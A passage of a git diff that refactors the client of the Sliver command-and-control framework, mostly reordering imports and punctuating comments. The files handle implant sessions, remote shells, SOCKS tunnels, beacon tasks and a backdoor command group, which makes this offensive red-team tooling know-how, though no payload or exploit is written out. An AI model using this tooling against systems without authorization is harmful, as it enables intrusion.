@@ import ( "strings" "time" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "golang.org/x/term" - "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "golang.org/x/term" ) -// SessionsCmd - Display/interact with sessions +// SessionsCmd - Display/interact with sessions. func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { interact, _ := cmd.Flags().GetString("interact") killFlag, _ := cmd.Flags().GetString("kill") @@ -126,7 +125,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintSessions - Print the current sessions +// PrintSessions - Print the current sessions. func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { @@ -237,7 +236,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR con.Printf("%s\n", tw.Render()) } -// ShortSessionID - Shorten the session ID +// ShortSessionID - Shorten the session ID. func ShortSessionID(id string) string { return strings.Split(id, "-")[0] } diff --git a/client/command/settings/beacons.go b/client/command/settings/beacons.go index 6aafeaabab..60ab8796f5 100644 --- a/client/command/settings/beacons.go +++ b/client/command/settings/beacons.go @@ -19,13 +19,12 @@ package settings */ import ( - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// SettingsBeaconsAutoResultCmd - The client settings command +// SettingsBeaconsAutoResultCmd - The client settings command. func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { diff --git a/client/command/settings/commands.go b/client/command/settings/commands.go index f312a6ed84..3bba3d0eaf 100644 --- a/client/command/settings/commands.go +++ b/client/command/settings/commands.go @@ -1,12 +1,11 @@ package settings import ( - "github.com/reeflective/console/commands/readline" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/reeflective/console/commands/readline" + "github.com/spf13/cobra" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/settings/opsec.go b/client/command/settings/opsec.go index 2fc964875d..c9e1ec7a70 100644 --- a/client/command/settings/opsec.go +++ b/client/command/settings/opsec.go @@ -20,13 +20,12 @@ package settings import ( "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" ) -// SettingsAutoAdultCmd - The client settings command +// SettingsAutoAdultCmd - The client settings command. func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { @@ -40,7 +39,7 @@ func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverClient, args [] con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult) } -// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions +// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions. func IsUserAnAdult(con *console.SliverClient) bool { if GetAutoAdult(con) { return true @@ -51,7 +50,7 @@ func IsUserAnAdult(con *console.SliverClient) bool { return confirm } -// GetAutoAdult - Get the current auto adult setting +// GetAutoAdult - Get the current auto adult setting. func GetAutoAdult(con *console.SliverClient) bool { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() diff --git a/client/command/settings/settings.go b/client/command/settings/settings.go index 11b13626ad..621622a6fa 100644 --- a/client/command/settings/settings.go +++ b/client/command/settings/settings.go @@ -22,14 +22,13 @@ import ( "strconv" "github.com/AlecAivazis/survey/v2" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// SettingsCmd - The client settings command +// SettingsCmd - The client settings command. func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { @@ -53,7 +52,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.Printf("%s\n", tw.Render()) } -// SettingsAlwaysOverflow - Toggle always overflow +// SettingsAlwaysOverflow - Toggle always overflow. func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { @@ -67,7 +66,7 @@ func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverClient, args con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow) } -// SettingsConsoleLogs - Toggle console logs +// SettingsConsoleLogs - Toggle console logs. func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverClient) { var err error if con.Settings == nil { @@ -81,7 +80,7 @@ func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverClient) { con.PrintInfof("Console Logs = %v\n", con.Settings.ConsoleLogs) } -// SettingsSmallTerm - Modify small terminal width value +// SettingsSmallTerm - Modify small terminal width value. func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { @@ -111,7 +110,7 @@ func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []str con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth) } -// SettingsTablesCmd - The client settings command +// SettingsTablesCmd - The client settings command. func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { @@ -143,7 +142,7 @@ func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []str } } -// SettingsSaveCmd - The client settings command +// SettingsSaveCmd - The client settings command. func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { @@ -161,7 +160,7 @@ func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } } -// SettingsAlwaysOverflow - Toggle always overflow +// SettingsAlwaysOverflow - Toggle always overflow. func SettingsUserConnect(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { diff --git a/client/command/settings/tables.go b/client/command/settings/tables.go index f895aba317..951eb64627 100644 --- a/client/command/settings/tables.go +++ b/client/command/settings/tables.go @@ -23,12 +23,11 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/console" "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "golang.org/x/term" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/console" ) var ( @@ -127,7 +126,7 @@ var ( } ) -// GetTableStyle - Get the current table style +// GetTableStyle - Get the current table style. func GetTableStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() @@ -140,7 +139,7 @@ func GetTableStyle(con *console.SliverClient) table.Style { return tableStyles[SliverDefault.Name] } -// GetTableWithBordersStyle - Get the table style with borders +// GetTableWithBordersStyle - Get the table style with borders. func GetTableWithBordersStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() @@ -152,12 +151,12 @@ func GetTableWithBordersStyle(con *console.SliverClient) table.Style { return value } -// GetPageSize - Page size for tables +// GetPageSize - Page size for tables. func GetPageSize() int { return 10 } -// PagesOf - Return the pages of a table +// PagesOf - Return the pages of a table. func PagesOf(renderedTable string) [][]string { lines := strings.Split(renderedTable, "\n") if len(lines) < 2 { @@ -178,7 +177,7 @@ func PagesOf(renderedTable string) [][]string { return pages } -// PaginateTable - Render paginated table to console +// PaginateTable - Render paginated table to console. func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverClient) { renderedTable := tw.Render() lineCount := strings.Count(renderedTable, "\n") diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go index d187bc4268..242794ee8a 100644 --- a/client/command/shell/commands.go +++ b/client/command/shell/commands.go @@ -1,26 +1,25 @@ package shell import ( - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { shellCmd := &cobra.Command{ - Use: consts.ShellStr, - Short: "Start an interactive shell", - Long: help.GetHelpFor([]string{consts.ShellStr}), + Use: consts.ShellStr, + Short: "Start an interactive shell", + Long: help.GetHelpFor([]string{consts.ShellStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { ShellCmd(cmd, con, args) }, - GroupID: consts.ExecutionHelpGroup, - Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), } flags.Bind("", false, shellCmd, func(f *pflag.FlagSet) { f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index c00e949bdd..6dcebbbbe3 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -25,13 +25,12 @@ import ( "log" "os" - "github.com/spf13/cobra" - "golang.org/x/term" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" + "golang.org/x/term" ) const ( @@ -40,7 +39,7 @@ const ( linux = "linux" ) -// ShellCmd - Start an interactive shell on the remote system +// ShellCmd - Start an interactive shell on the remote system. func ShellCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/sliver.go b/client/command/sliver.go index 381fd56d4b..cbb69f88a5 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -61,8 +61,14 @@ func SliverCommands(con *client.SliverClient) console.Commands { }, } + // Utility function to be used for binding new commands to + // the sliver menu: call the function with the name of the + // group under which this/these commands should be added, + // and the group will be automatically created if needed. + bind := makeBind(sliver, con) + // [ Core ] - bind(consts.SliverCoreHelpGroup, sliver, con, + bind(consts.SliverCoreHelpGroup, reconfig.Commands, // sessions.Commands, sessions.SliverCommands, @@ -73,7 +79,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { ) // [ Info ] - bind(consts.InfoHelpGroup, sliver, con, + bind(consts.InfoHelpGroup, // info.Commands, info.SliverCommands, screenshot.Commands, @@ -82,12 +88,12 @@ func SliverCommands(con *client.SliverClient) console.Commands { ) // [ Filesystem ] - bind(consts.FilesystemHelpGroup, sliver, con, + bind(consts.FilesystemHelpGroup, filesystem.Commands, ) // [ Network tools ] - bind(consts.NetworkHelpGroup, sliver, con, + bind(consts.NetworkHelpGroup, network.Commands, rportfwd.Commands, portfwd.Commands, @@ -96,7 +102,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { ) // [ Execution ] - bind(consts.ExecutionHelpGroup, sliver, con, + bind(consts.ExecutionHelpGroup, shell.Commands, exec.Commands, backdoor.Commands, @@ -106,20 +112,20 @@ func SliverCommands(con *client.SliverClient) console.Commands { ) // [ Privileges ] - bind(consts.PrivilegesHelpGroup, sliver, con, + bind(consts.PrivilegesHelpGroup, privilege.Commands, ) // [ Processes ] - bind(consts.ProcessHelpGroup, sliver, con, + bind(consts.ProcessHelpGroup, processes.Commands, ) // [ Aliases ] - bind(consts.AliasHelpGroup, sliver, con) + bind(consts.AliasHelpGroup) // [ Extensions ] - bind(consts.ExtensionHelpGroup, sliver, con, + bind(consts.ExtensionHelpGroup, extensions.Commands, ) @@ -144,6 +150,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { con.PrintErrorf("Failed to load extension: %s", err) continue } + extensions.ExtensionRegisterCommand(ext, sliver, con) } diff --git a/client/command/socks/commands.go b/client/command/socks/commands.go index f6077a910a..710984d625 100644 --- a/client/command/socks/commands.go +++ b/client/command/socks/commands.go @@ -1,27 +1,27 @@ package socks import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { socksCmd := &cobra.Command{ - Use: consts.Socks5Str, - Short: "In-band SOCKS5 Proxy", - Long: help.GetHelpFor([]string{consts.Socks5Str}), + Use: consts.Socks5Str, + Short: "In-band SOCKS5 Proxy", + Long: help.GetHelpFor([]string{consts.Socks5Str}), + GroupID: consts.NetworkHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), Run: func(cmd *cobra.Command, args []string) { SocksCmd(cmd, con, args) }, - GroupID: consts.NetworkHelpGroup, } flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index a2541c484c..63cf7a9fa7 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -25,15 +25,13 @@ import ( "net" "time" - "gopkg.in/AlecAivazis/survey.v1" - - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/spf13/cobra" + "gopkg.in/AlecAivazis/survey.v1" ) -// SocksStartCmd - Add a new tunneled port forward +// SocksStartCmd - Add a new tunneled port forward. func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { diff --git a/client/command/socks/socks-stop.go b/client/command/socks/socks-stop.go index 2255d421b4..0fcb2565aa 100644 --- a/client/command/socks/socks-stop.go +++ b/client/command/socks/socks-stop.go @@ -21,14 +21,13 @@ package socks import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" ) -// SocksStopCmd - Remove an existing tunneled port forward +// SocksStopCmd - Remove an existing tunneled port forward. func SocksStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { socksID, _ := cmd.Flags().GetUint64("id") if socksID < 1 { diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index 24de779231..0301822383 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -23,23 +23,22 @@ import ( "sort" "strconv" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) -// SocksCmd - Display information about tunneled port forward(s) +// SocksCmd - Display information about tunneled port forward(s). func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { socks := core.SocksProxies.List() if len(socks) == 0 { con.PrintInfof("No socks5 proxies\n") return } - sort.Slice(socks[:], func(i, j int) bool { + sort.Slice(socks, func(i, j int) bool { return socks[i].ID < socks[j].ID }) @@ -59,7 +58,7 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.Printf("%s\n", tw.Render()) } -// SocksIDCompleter completes IDs of remote of socks proxy servers +// SocksIDCompleter completes IDs of remote of socks proxy servers. func SocksIDCompleter(_ *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { results := make([]string, 0) diff --git a/client/command/tasks/commands.go b/client/command/tasks/commands.go index 20036ddfc1..d92e1b2df0 100644 --- a/client/command/tasks/commands.go +++ b/client/command/tasks/commands.go @@ -1,14 +1,13 @@ package tasks import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/tasks/fetch.go b/client/command/tasks/fetch.go index 77eb28169f..1c2ba517ad 100644 --- a/client/command/tasks/fetch.go +++ b/client/command/tasks/fetch.go @@ -26,11 +26,6 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/command/environment" "github.com/bishopfox/sliver/client/command/exec" "github.com/bishopfox/sliver/client/command/extensions" @@ -45,9 +40,13 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" ) -// TasksFetchCmd - Manage beacon tasks +// TasksFetchCmd - Manage beacon tasks. func TasksFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { @@ -124,7 +123,7 @@ func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*cli return filteredTasks } -// PrintTask - Print the details of a beacon task +// PrintTask - Print the details of a beacon task. func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) @@ -171,7 +170,7 @@ func emojiState(state string) string { } } -// Decode and render message specific content +// Decode and render message specific content. func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) { reqEnvelope := &sliverpb.Envelope{} proto.Unmarshal(task.Request, reqEnvelope) diff --git a/client/command/tasks/helpers.go b/client/command/tasks/helpers.go index 5d9393f84d..6cdf28cd49 100644 --- a/client/command/tasks/helpers.go +++ b/client/command/tasks/helpers.go @@ -10,13 +10,12 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/rsteube/carapace" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/rsteube/carapace" ) -// SelectBeaconTask - Select a beacon task interactively +// SelectBeaconTask - Select a beacon task interactively. func SelectBeaconTask(tasks []*clientpb.BeaconTask) (*clientpb.BeaconTask, error) { // Render selection table buf := bytes.NewBufferString("") @@ -114,7 +113,7 @@ func BeaconTaskIDCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(callback) } -// BeaconPendingTasksCompleter completes pending tasks +// BeaconPendingTasksCompleter completes pending tasks. func BeaconPendingTasksCompleter(con *console.SliverClient) carapace.Action { callback := func(ctx carapace.Context) carapace.Action { beacon := con.ActiveTarget.GetBeacon() diff --git a/client/command/tasks/tasks-cancel.go b/client/command/tasks/tasks-cancel.go index c2c478348a..c184c33b39 100644 --- a/client/command/tasks/tasks-cancel.go +++ b/client/command/tasks/tasks-cancel.go @@ -3,13 +3,12 @@ package tasks import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// TasksCancelCmd - Cancel a beacon task before it's sent to the implant +// TasksCancelCmd - Cancel a beacon task before it's sent to the implant. func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index 610aada08b..bd025867e6 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -24,15 +24,14 @@ import ( "strings" "time" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// TasksCmd - Manage beacon tasks +// TasksCmd - Manage beacon tasks. func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { @@ -46,7 +45,7 @@ func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { PrintBeaconTasks(beaconTasks.Tasks, cmd, con) } -// PrintBeaconTasks - Print beacon tasks +// PrintBeaconTasks - Print beacon tasks. func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) diff --git a/client/command/update/commands.go b/client/command/update/commands.go index 25e0709a7b..7528fa8e1f 100644 --- a/client/command/update/commands.go +++ b/client/command/update/commands.go @@ -1,15 +1,14 @@ package update import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/update/update.go b/client/command/update/update.go index 3769f37c6d..d9d9d36d5a 100644 --- a/client/command/update/update.go +++ b/client/command/update/update.go @@ -36,18 +36,17 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/cheggaaa/pb/v3" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" + "github.com/cheggaaa/pb/v3" + "github.com/spf13/cobra" ) -// UpdateCmd - Check for updates +// UpdateCmd - Check for updates. func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { VerboseVersionsCmd(cmd, con, args) @@ -126,7 +125,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// VerboseVersionsCmd - Get verbose version information about the client and server +// VerboseVersionsCmd - Get verbose version information about the client and server. func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { clientVer := version.FullVersion() serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go index 4327a6c93c..5567453e2a 100644 --- a/client/command/wasm/commands.go +++ b/client/command/wasm/commands.go @@ -1,14 +1,13 @@ package wasm import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index dc9f9b8c9b..a6b6c8c9aa 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -36,16 +36,16 @@ import ( ) // wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size -// this is also the *compressed size* limit, so it's pretty generous +// this is also the *compressed size* limit, so it's pretty generous. const ( gb = 1024 * 1024 * 1024 wasmMaxModuleSize = gb + (gb / 2) ) -// WasmCmd - session/beacon id -> list of loaded wasm extension names +// WasmCmd - session/beacon id -> list of loaded wasm extension names. var wasmRegistrationCache = make(map[string][]string) -// WasmCmd - Execute a WASM module extension +// WasmCmd - Execute a WASM module extension. func WasmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { @@ -120,7 +120,7 @@ func isRegistered(name string, cmd *cobra.Command, con *console.SliverClient) bo return false } -// idOf - Quickly return the id of the current session or beacon +// idOf - Quickly return the id of the current session or beacon. func idOf(con *console.SliverClient) string { if con.ActiveTarget != nil { if session := con.ActiveTarget.GetSession(); session != nil { @@ -253,7 +253,7 @@ func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console return nil } -// WasmLsCmd - Execute a WASM module extension +// WasmLsCmd - Execute a WASM module extension. func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { diff --git a/client/command/websites/commands.go b/client/command/websites/commands.go index e8c5773f47..727de3521b 100644 --- a/client/command/websites/commands.go +++ b/client/command/websites/commands.go @@ -1,14 +1,13 @@ package websites import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/websites/websites-add-content.go b/client/command/websites/websites-add-content.go index f9bcd3992b..dc3e8386d4 100644 --- a/client/command/websites/websites-add-content.go +++ b/client/command/websites/websites-add-content.go @@ -28,13 +28,12 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// WebsitesAddContentCmd - Add static content to a website +// WebsitesAddContentCmd - Add static content to a website. func WebsitesAddContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { diff --git a/client/command/websites/websites-rm-content.go b/client/command/websites/websites-rm-content.go index 521b403bf2..95b7d1f621 100644 --- a/client/command/websites/websites-rm-content.go +++ b/client/command/websites/websites-rm-content.go @@ -22,13 +22,12 @@ import ( "context" "strings" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// WebsitesRmContent - Remove static content from a website +// WebsitesRmContent - Remove static content from a website. func WebsitesRmContent(cmd *cobra.Command, con *console.SliverClient, args []string) { name, _ := cmd.Flags().GetString("website") webPath, _ := cmd.Flags().GetString("web-path") diff --git a/client/command/websites/websites-rm.go b/client/command/websites/websites-rm.go index 7b702ebaa9..e81873cc17 100644 --- a/client/command/websites/websites-rm.go +++ b/client/command/websites/websites-rm.go @@ -21,13 +21,12 @@ package websites import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// WebsiteRmCmd - Remove a website and all its static content +// WebsiteRmCmd - Remove a website and all its static content. func WebsiteRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { diff --git a/client/command/websites/websites-update-content.go b/client/command/websites/websites-update-content.go index ab993526cf..d6d1b51919 100644 --- a/client/command/websites/websites-update-content.go +++ b/client/command/websites/websites-update-content.go @@ -21,13 +21,12 @@ package websites import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// WebsitesUpdateContentCmd - Update metadata about static website content +// WebsitesUpdateContentCmd - Update metadata about static website content. func WebsitesUpdateContentCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { websiteName, _ := cmd.Flags().GetString("website") if websiteName == "" { diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index b2fe11f569..e4f6918c59 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -23,14 +23,13 @@ import ( "sort" "strings" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) const ( @@ -38,7 +37,7 @@ const ( defaultMimeType = "application/octet-stream" ) -// WebsitesCmd - Manage websites +// WebsitesCmd - Manage websites. func WebsitesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if len(args) > 0 { websiteName := args[0] @@ -48,7 +47,7 @@ func WebsitesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// ListWebsites - Display a list of websites +// ListWebsites - Display a list of websites. func ListWebsites(cmd *cobra.Command, con *console.SliverClient, args []string) { websites, err := con.Rpc.Websites(context.Background(), &commonpb.Empty{}) if err != nil { @@ -66,7 +65,7 @@ func ListWebsites(cmd *cobra.Command, con *console.SliverClient, args []string) } } -// ListWebsiteContent - List the static contents of a website +// ListWebsiteContent - List the static contents of a website. func ListWebsiteContent(websiteName string, con *console.SliverClient) { website, err := con.Rpc.Website(context.Background(), &clientpb.Website{ Name: websiteName, diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go index dd0e60e9c5..5fab9a4e10 100644 --- a/client/command/wireguard/commands.go +++ b/client/command/wireguard/commands.go @@ -1,14 +1,13 @@ package wireguard import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - 